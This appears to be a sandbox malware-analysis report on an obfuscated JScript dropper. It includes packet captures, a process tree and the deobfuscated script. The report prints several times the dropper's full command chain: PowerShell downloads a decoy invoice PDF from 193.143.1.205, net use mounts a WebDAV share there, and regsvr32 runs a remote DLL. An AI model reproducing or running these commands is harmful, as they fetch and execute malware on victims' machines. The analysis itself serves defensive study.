Jan 11, 2025 08:15:44.098216057 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:15:44.098251104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 08:15:44.098280907 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 08:15:44.098293066 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 08:15:44.098429918 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:15:44.098442078 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:15:44.098453045 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:15:44.098623037 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 08:15:44.098634005 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 08:15:44.103190899 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	60864	193.143.1.205	8888	2672	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:15:46.030071974 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:15:46.848297119 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:15:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:15:39
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js"
Imagebase:	0x7ff687c60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:15:39
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Imagebase:	0x7ff799140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:15:39
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:15:39
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:15:45
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:15:45
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff799140000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:15:45
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a0cb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:15:45
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:15:45
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:15:46
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1684,i,4790951578485527133,4203297419372646476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hhojtvxmu() {	hhojtvxmu() ➔ undefined
1	ddckckbr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jlqbus = this[ofcth + tipzz + hbsjkha + rspdghxd + kftbhyp + hdrvc + ccxnjkuia + humsijr] ( this[hsuapnfc + glgqnmj + pnnpn + hbsjkha + xswdofg + ofcth + humsijr][amqhfvciv + hbsjkha + kftbhyp + tipzz + humsijr + kftbhyp + npwop + cbajequq + vnpum + kftbhyp + pnnpn + humsijr] ( hsuapnfc + glgqnmj + pnnpn + hbsjkha + xswdofg + ofcth + humsijr + rgoawvomm + glgqnmj + ghpoubmo + kftbhyp + wgdkf + wgdkf ) [igynbjep + kftbhyp + ehitkq + igynbjep + kftbhyp + tipzz + lameol] ( ytafi + emzadxhk + qfbjxiu + btqjhqv + qhamafjku + amqhfvciv + evedphdjj + igynbjep + igynbjep + qfbjxiu + qujrp + heagu + qhamafjku + evedphdjj + glgqnmj + qfbjxiu + igynbjep + jirjjmqkp + amqhfvciv + yohqtshuz + ccxnjkuia + humsijr + hbsjkha + yohqtshuz + wgdkf + xegaiais + ewfbwbhw + tipzz + ccxnjkuia + kftbhyp + wgdkf + jirjjmqkp + hdrvc + ccxnjkuia + humsijr + kftbhyp + hbsjkha + ccxnjkuia + tipzz + humsijr + xswdofg + yohqtshuz + ccxnjkuia + tipzz + wgdkf + jirjjmqkp + wknmwgo + yohqtshuz + pnnpn + tipzz + wgdkf + kftbhyp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gprtbz = 0 ; gprtbz < ddckckbr[wgdkf + kftbhyp + ccxnjkuia + ehitkq + humsijr + ghpoubmo] ; ++ gprtbz )
4	{
5	if ( jlqbus == ddckckbr[gprtbz] )
6	{
7	jlqbus = true;
8	break ;
9	}
10	}
11	if ( jlqbus !== true )
12	this[hsuapnfc + glgqnmj + pnnpn + hbsjkha + xswdofg + ofcth + humsijr][noijozbp + sseev + xswdofg + humsijr] ( );
13	this[hsuapnfc + glgqnmj + pnnpn + hbsjkha + xswdofg + ofcth + humsijr][amqhfvciv + hbsjkha + kftbhyp + tipzz + humsijr + kftbhyp + npwop + cbajequq + vnpum + kftbhyp + pnnpn + humsijr] ( hsuapnfc + glgqnmj + pnnpn + hbsjkha + xswdofg + ofcth + humsijr + rgoawvomm + glgqnmj + ghpoubmo + kftbhyp + wgdkf + wgdkf ) [hbsjkha + sseev + ccxnjkuia] ( pnnpn + ronfs + lameol + xegaiais + gmgvjqsyo + pnnpn + xegaiais + ofcth + yohqtshuz + ringaq + kftbhyp + hbsjkha + rspdghxd + ghpoubmo + kftbhyp + wgdkf + wgdkf + rgoawvomm + kftbhyp + ijwwr + kftbhyp + xegaiais + wrdhwomrd + amqhfvciv + yohqtshuz + ronfs + ronfs + tipzz + ccxnjkuia + lameol + xegaiais + cesglw + hdrvc + ccxnjkuia + qvlpmnkzd + yohqtshuz + ktqbsd + kftbhyp + wrdhwomrd + hsuapnfc + kftbhyp + cbajequq + igynbjep + kftbhyp + beqqzujaw + sseev + kftbhyp + rspdghxd + humsijr + xegaiais + wrdhwomrd + npwop + sseev + humsijr + curbi + xswdofg + wgdkf + kftbhyp + xegaiais + jghueh + humsijr + kftbhyp + ronfs + ofcth + jghueh + jirjjmqkp + xswdofg + ccxnjkuia + qvlpmnkzd + yohqtshuz + xswdofg + pnnpn + kftbhyp + rgoawvomm + ofcth + lameol + gqjdnat + xegaiais + ghpoubmo + humsijr + humsijr + ofcth + gvbhkoo + gmgvjqsyo + gmgvjqsyo + gffqtupoy + riqmv + wlzheku + rgoawvomm + gffqtupoy + mxfedub + wlzheku + rgoawvomm + gffqtupoy + rgoawvomm + lrwoqswg + mjcnm + rxsdivcw + gmgvjqsyo + xswdofg + ccxnjkuia + qvlpmnkzd + yohqtshuz + xswdofg + pnnpn + kftbhyp + rgoawvomm + ofcth + ghpoubmo + ofcth + cesglw + qoatkvtn + qoatkvtn + rspdghxd + humsijr + tipzz + hbsjkha + humsijr + xegaiais + jghueh + humsijr + kftbhyp + ronfs + ofcth + jghueh + jirjjmqkp + xswdofg + ccxnjkuia + qvlpmnkzd + yohqtshuz + xswdofg + pnnpn + kftbhyp + rgoawvomm + ofcth + lameol + gqjdnat + qoatkvtn + qoatkvtn + pnnpn + ronfs + lameol + xegaiais + gmgvjqsyo + pnnpn + xegaiais + ccxnjkuia + kftbhyp + humsijr + xegaiais + sseev + rspdghxd + kftbhyp + xegaiais + jirjjmqkp + jirjjmqkp + gffqtupoy + riqmv + wlzheku + rgoawvomm + gffqtupoy + mxfedub + wlzheku + rgoawvomm + gffqtupoy + rgoawvomm + lrwoqswg + mjcnm + rxsdivcw + evqan + efvtdcy + efvtdcy + efvtdcy + efvtdcy + jirjjmqkp + lameol + tipzz + qvlpmnkzd + ringaq + ringaq + ringaq + hbsjkha + yohqtshuz + yohqtshuz + humsijr + jirjjmqkp + qoatkvtn + qoatkvtn + pnnpn + ronfs + lameol + xegaiais + gmgvjqsyo + pnnpn + xegaiais + hbsjkha + kftbhyp + ehitkq + rspdghxd + qvlpmnkzd + hbsjkha + wlzheku + lrwoqswg + xegaiais + gmgvjqsyo + rspdghxd + xegaiais + jirjjmqkp + jirjjmqkp + gffqtupoy + riqmv + wlzheku + rgoawvomm + gffqtupoy + mxfedub + wlzheku + rgoawvomm + gffqtupoy + rgoawvomm + lrwoqswg + mjcnm + rxsdivcw + evqan + efvtdcy + efvtdcy + efvtdcy + efvtdcy + jirjjmqkp + lameol + tipzz + qvlpmnkzd + ringaq + ringaq + ringaq + hbsjkha + yohqtshuz + yohqtshuz + humsijr + jirjjmqkp + gffqtupoy + wlzheku + rxsdivcw + grepmj + rxsdivcw + lrwoqswg + riqmv + wlzheku + wlzheku + grepmj + lrwoqswg + riqmv + mjcnm + wlzheku + mjcnm + rgoawvomm + lameol + wgdkf + wgdkf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll",0,false) ➔ 0
14	}
15	mjcnm = "D";
16	mjcnm = "r";
17	mjcnm = "D";
18	mjcnm = "S";
19	mjcnm = "C";
20	mjcnm = "w";
21	mjcnm = "a";
22	mjcnm = "y";
23	mjcnm = "W";
24	mjcnm = "d";
25	mjcnm = "A";
26	mjcnm = "B";
27	mjcnm = "Y";
28	mjcnm = "A";
29	mjcnm = "g";
30	mjcnm = "Y";
31	mjcnm = "c";
32	mjcnm = "k";
33	mjcnm = "f";
34	mjcnm = "M";
35	mjcnm = "h";
36	mjcnm = "v";
37	mjcnm = "j";
38	mjcnm = "B";
39	mjcnm = "K";
40	mjcnm = "R";
41	mjcnm = "r";
42	mjcnm = "M";
43	mjcnm = "y";
44	mjcnm = "U";
45	mjcnm = "h";
46	mjcnm = "J";
47	mjcnm = "C";
48	mjcnm = "B";
49	mjcnm = "K";
50	mjcnm = "u";
51	mjcnm = "p";
52	mjcnm = "o";
53	mjcnm = "Q";
54	mjcnm = "0";
55	lameol = "w";
56	lameol = "O";
57	lameol = "I";
58	lameol = "I";
59	lameol = "S";
60	lameol = "H";
61	lameol = "F";
62	lameol = "i";
63	lameol = "E";
64	lameol = "j";
65	lameol = "I";
66	lameol = "V";
67	lameol = "U";
68	lameol = "g";
69	lameol = "S";
70	lameol = "b";
71	lameol = "K";
72	lameol = "I";
73	lameol = "C";
74	lameol = "x";
75	lameol = "C";
76	lameol = "T";
77	lameol = "v";
78	lameol = "x";
79	lameol = "N";
80	lameol = "u";
81	lameol = "P";
82	lameol = "d";
83	cbajequq = "P";
84	cbajequq = "P";
85	cbajequq = "g";
86	cbajequq = "u";
87	cbajequq = "F";
88	cbajequq = "T";
89	cbajequq = "n";
90	cbajequq = "Q";
91	cbajequq = "m";
92	cbajequq = "n";
93	cbajequq = "A";
94	cbajequq = "z";
95	cbajequq = "R";
96	cbajequq = "a";
97	cbajequq = "i";
98	cbajequq = "N";
99	cbajequq = "w";
100	cbajequq = "i";
101	cbajequq = "g";
102	cbajequq = "h";
103	cbajequq = "r";
104	cbajequq = "B";
105	cbajequq = "J";
106	cbajequq = "y";
107	cbajequq = "K";
108	cbajequq = "Q";
109	cbajequq = "b";
110	noijozbp = "b";
111	noijozbp = "h";
112	noijozbp = "a";
113	noijozbp = "h";
114	noijozbp = "b";
115	noijozbp = "v";
116	noijozbp = "U";
117	noijozbp = "U";
118	noijozbp = "T";
119	noijozbp = "O";
120	noijozbp = "Q";
121	vnpum = "H";
122	vnpum = "j";
123	riqmv = "N";
124	riqmv = "k";
125	riqmv = "v";
126	riqmv = "n";
127	riqmv = "S";
128	riqmv = "r";
129	riqmv = "P";
130	riqmv = "s";
131	riqmv = "n";
132	riqmv = "y";
133	riqmv = "K";
134	riqmv = "n";
135	riqmv = "H";
136	riqmv = "Q";
137	riqmv = "F";
138	riqmv = "L";
139	riqmv = "X";
140	riqmv = "d";
141	riqmv = "R";
142	riqmv = "F";
143	riqmv = "B";
144	riqmv = "l";
145	riqmv = "J";
146	riqmv = "C";
147	riqmv = "b";
148	riqmv = "U";
149	riqmv = "J";
150	riqmv = "u";
151	riqmv = "k";
152	riqmv = "p";
153	riqmv = "J";
154	riqmv = "W";
155	riqmv = "l";
156	riqmv = "h";
157	riqmv = "m";
158	riqmv = "b";
159	riqmv = "G";
160	riqmv = "P";
161	riqmv = "p";
162	riqmv = "y";
163	riqmv = "h";
164	riqmv = "9";
165	qujrp = "o";
166	qujrp = "N";
167	evqan = "b";
168	evqan = "W";
169	evqan = "w";
170	evqan = "P";
171	evqan = "Y";
172	evqan = "V";
173	evqan = "O";
174	evqan = "r";
175	evqan = "u";
176	evqan = "H";
177	evqan = "K";
178	evqan = "Q";
179	evqan = "Q";
180	evqan = "l";
181	evqan = "d";
182	evqan = "H";
183	evqan = "Y";
184	evqan = "D";
185	evqan = "u";
186	evqan = "g";
187	evqan = "y";
188	evqan = "K";
189	evqan = "W";
190	evqan = "C";
191	evqan = "N";
192	evqan = "f";
193	evqan = "q";
194	evqan = "e";
195	evqan = "w";
196	evqan = "p";
197	evqan = "L";
198	evqan = "e";
199	evqan = "a";
200	evqan = "B";
201	evqan = "v";
202	evqan = "f";
203	evqan = "x";
204	evqan = "h";
205	evqan = "@";
206	ijwwr = "B";
207	ijwwr = "J";
208	ijwwr = "I";
209	ijwwr = "h";
210	ijwwr = "j";
211	ijwwr = "R";
212	ijwwr = "T";
213	ijwwr = "B";
214	ijwwr = "T";
215	ijwwr = "W";
216	ijwwr = "j";
217	ijwwr = "L";
218	ijwwr = "h";
219	ijwwr = "p";
220	ijwwr = "t";
221	ijwwr = "q";
222	ijwwr = "v";
223	ijwwr = "N";
224	ijwwr = "N";
225	ijwwr = "x";
226	glgqnmj = "O";
227	glgqnmj = "p";
228	glgqnmj = "l";
229	glgqnmj = "f";
230	glgqnmj = "S";
231	gvbhkoo = "h";
232	gvbhkoo = "l";
233	gvbhkoo = "d";
234	gvbhkoo = "i";
235	gvbhkoo = "B";
236	gvbhkoo = "T";
237	gvbhkoo = "n";
238	gvbhkoo = "T";
239	gvbhkoo = "X";
240	gvbhkoo = "N";
241	gvbhkoo = "F";
242	gvbhkoo = "x";
243	gvbhkoo = "M";
244	gvbhkoo = "r";
245	gvbhkoo = "H";
246	gvbhkoo = ":";
247	qoatkvtn = "w";
248	qoatkvtn = "w";
249	qoatkvtn = "D";
250	qoatkvtn = "D";
251	qoatkvtn = "T";
252	qoatkvtn = "U";
253	qoatkvtn = "u";
254	qoatkvtn = "c";
255	qoatkvtn = "z";
256	qoatkvtn = "b";
257	qoatkvtn = "W";
258	qoatkvtn = "f";
259	qoatkvtn = "a";
260	qoatkvtn = "G";
261	qoatkvtn = "r";
262	qoatkvtn = "F";
263	qoatkvtn = "o";
264	qoatkvtn = "U";
265	qoatkvtn = "I";
266	qoatkvtn = "y";
267	qoatkvtn = "X";
268	qoatkvtn = "E";
269	qoatkvtn = "x";
270	qoatkvtn = "w";
271	qoatkvtn = "V";
272	qoatkvtn = "L";
273	qoatkvtn = "h";
274	qoatkvtn = "M";
275	qoatkvtn = "u";
276	qoatkvtn = "y";
277	qoatkvtn = "J";
278	qoatkvtn = "y";
279	qoatkvtn = "o";
280	qoatkvtn = "P";
281	qoatkvtn = "j";
282	qoatkvtn = "w";
283	qoatkvtn = "o";
284	qoatkvtn = "L";
285	qoatkvtn = "&";
286	heagu = "A";
287	heagu = "N";
288	heagu = "V";
289	heagu = "f";
290	heagu = "d";
291	heagu = "A";
292	heagu = "k";
293	heagu = "Q";
294	heagu = "M";
295	heagu = "k";
296	heagu = "k";
297	heagu = "T";
298	heagu = "L";
299	heagu = "A";
300	heagu = "q";
301	heagu = "Q";
302	heagu = "X";
303	heagu = "Z";
304	heagu = "t";
305	heagu = "m";
306	heagu = "m";
307	heagu = "U";
308	heagu = "u";
309	heagu = "Y";
310	heagu = "W";
311	heagu = "y";
312	heagu = "i";
313	heagu = "p";
314	heagu = "l";
315	heagu = "M";
316	heagu = "q";
317	heagu = "O";
318	heagu = "u";
319	heagu = "K";
320	heagu = "m";
321	heagu = "p";
322	heagu = "j";
323	heagu = "Q";
324	heagu = "i";
325	heagu = "L";
326	heagu = "l";
327	heagu = "K";
328	heagu = "t";
329	heagu = "T";
330	wgdkf = "Y";
331	wgdkf = "h";
332	wgdkf = "U";
333	wgdkf = "W";
334	wgdkf = "B";
335	wgdkf = "u";
336	wgdkf = "p";
337	wgdkf = "H";
338	wgdkf = "p";
339	wgdkf = "R";
340	wgdkf = "t";
341	wgdkf = "Y";
342	wgdkf = "z";
343	wgdkf = "T";
344	wgdkf = "i";
345	wgdkf = "o";
346	wgdkf = "j";
347	wgdkf = "j";
348	wgdkf = "V";
349	wgdkf = "h";
350	wgdkf = "g";
351	wgdkf = "l";
352	curbi = "F";
353	curbi = "w";
354	curbi = "v";
355	curbi = "e";
356	curbi = "O";
357	curbi = "p";
358	curbi = "x";
359	curbi = "k";
360	curbi = "F";
361	curbi = "k";
362	curbi = "h";
363	curbi = "T";
364	curbi = "Y";
365	curbi = "P";
366	curbi = "S";
367	curbi = "w";
368	curbi = "p";
369	curbi = "p";
370	curbi = "K";
371	curbi = "J";
372	curbi = "l";
373	curbi = "y";
374	curbi = "e";
375	curbi = "m";
376	curbi = "M";
377	curbi = "t";
378	curbi = "r";
379	curbi = "p";
380	curbi = "t";
381	curbi = "U";
382	curbi = "A";
383	curbi = "r";
384	curbi = "W";
385	curbi = "D";
386	curbi = "F";
387	jghueh = "z";
388	jghueh = "E";
389	jghueh = "o";
390	jghueh = "i";
391	jghueh = "f";
392	jghueh = "H";
393	jghueh = "v";
394	jghueh = "p";
395	jghueh = "P";
396	jghueh = "E";
397	jghueh = "G";
398	jghueh = "g";
399	jghueh = "V";
400	jghueh = "U";
401	jghueh = "f";
402	jghueh = "w";
403	jghueh = "A";
404	jghueh = "Q";
405	jghueh = "Y";
406	jghueh = "C";
407	jghueh = "R";
408	jghueh = "%";
409	pnnpn = "E";
410	pnnpn = "p";
411	pnnpn = "T";
412	pnnpn = "n";
413	pnnpn = "y";
414	pnnpn = "J";
415	pnnpn = "u";
416	pnnpn = "J";
417	pnnpn = "x";
418	pnnpn = "L";
419	pnnpn = "q";
420	pnnpn = "T";
421	pnnpn = "L";
422	pnnpn = "a";
423	pnnpn = "b";
424	pnnpn = "n";
425	pnnpn = "C";
426	pnnpn = "W";
427	pnnpn = "g";
428	pnnpn = "E";
429	pnnpn = "p";
430	pnnpn = "H";
431	pnnpn = "W";
432	pnnpn = "T";
433	pnnpn = "E";
434	pnnpn = "a";
435	pnnpn = "f";
436	pnnpn = "J";
437	pnnpn = "q";
438	pnnpn = "F";
439	pnnpn = "w";
440	pnnpn = "M";
441	pnnpn = "c";
442	emzadxhk = "L";
443	emzadxhk = "u";
444	emzadxhk = "d";
445	emzadxhk = "s";
446	emzadxhk = "T";
447	emzadxhk = "B";
448	emzadxhk = "U";
449	emzadxhk = "g";
450	emzadxhk = "s";
451	emzadxhk = "R";
452	emzadxhk = "u";
453	emzadxhk = "V";
454	emzadxhk = "D";
455	emzadxhk = "y";
456	emzadxhk = "P";
457	emzadxhk = "a";
458	emzadxhk = "Q";
459	emzadxhk = "K";
460	emzadxhk = "l";
461	emzadxhk = "i";
462	emzadxhk = "s";
463	emzadxhk = "S";
464	emzadxhk = "K";
465	rxsdivcw = "p";
466	rxsdivcw = "a";
467	rxsdivcw = "5";
468	kftbhyp = "g";
469	kftbhyp = "B";
470	kftbhyp = "D";
471	kftbhyp = "o";
472	kftbhyp = "g";
